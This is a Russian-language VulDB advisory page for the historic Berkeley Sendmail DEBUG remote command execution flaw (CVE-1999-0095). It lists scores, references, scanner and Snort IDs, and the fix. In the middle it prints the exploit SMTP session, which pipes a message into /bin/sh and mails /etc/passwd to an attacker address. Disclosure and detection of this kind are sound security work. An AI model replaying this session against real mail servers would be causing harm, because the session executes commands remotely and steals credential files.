Berkeley Sendmail до 5.58 DEBUG эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
9.4$0-$5k0.00

СводкаИнформация

В Berkeley Sendmail до 5.58 была найдена уязвимость, классифицированная как критический. Используемая неизвестная функция компонента DEBUG Handler. Выполнение манипуляции приводит к эскалация привилегий. Эта уязвимость обрабатывается как CVE-1999-0095. Атаку можно провести дистанционно. Более того, существует эксплойт. Эта уязвимость считается исторически значимой из-за своего контекста и отклика. Рекомендуется обновить затронутый компонент.

ПодробностиИнформация

В Berkeley Sendmail до 5.58 была найдена уязвимость, классифицированная как критический. Используемая неизвестная функция компонента DEBUG Handler. Выполнение манипуляции приводит к эскалация привилегий. Использование CWE для объявления проблемы приводит к тому, что CWE-269. Данная уязвимость была опубликована 07.11.1988 с идентификатором CA-1988-01 в виде Консультация (CERT.org). Консультация доступна для загрузки на cert.org.

Эта уязвимость обрабатывается как CVE-1999-0095. Атаку можно провести дистанционно. Технические подробности отсутствуют. Данная уязвимость менее популярна, чем в среднем. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. На данный момент актуальная стоимость эксплойта может быть около USD $0-$5k. Согласно MITRE ATT&CK, техника атаки, используемая в данной проблеме, имеет значение T1068. Эта уязвимость считается исторически значимой из-за своего контекста и отклика.

Присвоено значение Высокофункциональный. Эксплойт можно скачать по ссылке exploit-db.com. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 61 дней. Как 0-day, оценочная цена на теневом рынке составляла примерно $5k-$25k. Код, используемый эксплойтом, следующий:

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail [email protected] </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating
Сканер Nessus предлагает плагин с идентификатором 10247. Он относится к семейству SMTP problems. Плагин запущен в контексте типа r. Коммерческий сканер уязвимостей Qualys способен проверить эту проблему с помощью плагина 74131 (Berkeley Sendmail DEBUG Vulnerability).

Обновление до версии 5.59 позволяет устранить данную проблему. Если Disable Debug задан, то можно смягчить проблему, применив конфигурационную настройку Disable Debug. Рекомендуется обновить затронутый компонент.

Атаки могут быть обнаружены по Snort ID 663. Данная уязвимость также присутствует в других базах данных уязвимостей: SecurityFocus (BID 1), X-Force (125), Vulnerability Center (SBV-209) и Tenable (10247).

ПродуктИнформация

Тип

Поставщик

Имя

Версия

Лицензия

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 9.8
VulDB Meta Temp Score: 9.4

VulDB Базовый балл: 9.8
VulDB Временная оценка: 9.4
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 🔍

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-269 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Высокофункциональный
Язык программирования: 🔍
Скачать: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Nessus ID: 10247
Nessus Имя: Sendmail DEBUG/WIZ Remote Command Execution
Nessus Файл: 🔍
Nessus Риск: 🔍
Nessus Семейство: 🔍
Nessus Context: 🔍

OpenVAS ID: 10247
OpenVAS Имя: Sendmail DEBUG
OpenVAS Файл: 🔍
OpenVAS Семейство: 🔍

Qualys ID: 🔍
Qualys Имя: 🔍

Exploit-DB: 🔍

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Обновление
Статус: 🔍

0-дневное время: 🔍

Обновление: Sendmail 5.59
Config: Disable Debug

Snort ID: 663
Snort Сообщение: SERVER-MAIL Sendmail rcpt to command attempt
Snort Класс: 🔍
SourceFire IPS: 🔍
ISS Proventia IPS: 🔍

ХронологияИнформация

01.08.1988 🔍
01.08.1988 +0 дни 🔍
01.10.1988 +61 дни 🔍
01.10.1988 +0 дни 🔍
07.11.1988 +37 дни 🔍
22.08.1999 +3940 дни 🔍
12.09.2002 +1117 дни 🔍
23.10.2002 +40 дни 🔍
16.06.2014 +4254 дни 🔍
16.04.2026 +4322 дни 🔍

ИсточникиИнформация

Консультация: CA-1988-01
Статус: Подтверждённый

CVE: CVE-1999-0095 (🔍)
GCVE (CVE): GCVE-0-1999-0095
GCVE (VulDB): GCVE-100-13611
X-Force: 125
SecurityFocus: 1 - Berkeley Sendmail DEBUG Vulnerability
OSVDB: 195 - Sendmail debug Arbitrary Command Execution
Vulnerability Center: 209 - SendMail Debug Allows Command Execution, High

scip Labs: https://www.scip.ch/en/?labs.20161013
Смотрите также: 🔍

ВходИнформация

Создано: 16.06.2014 14:34
Обновлено: 16.04.2026 03:03
Изменения: 16.06.2014 14:34 (82), 07.05.2019 10:51 (9), 11.11.2024 13:27 (16), 03.04.2025 03:37 (1), 27.10.2025 20:00 (2), 16.04.2026 03:03 (1)
Завершенный: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Обсуждение

Комментариев пока нет. Языки: ru + be + en.

Пожалуйста, войдите в систему, чтобы прокомментировать.

◂ ПредыдущийОбзорДалее ▸

Do you want to use VulDB in your project?

Use the official API to access entries easily!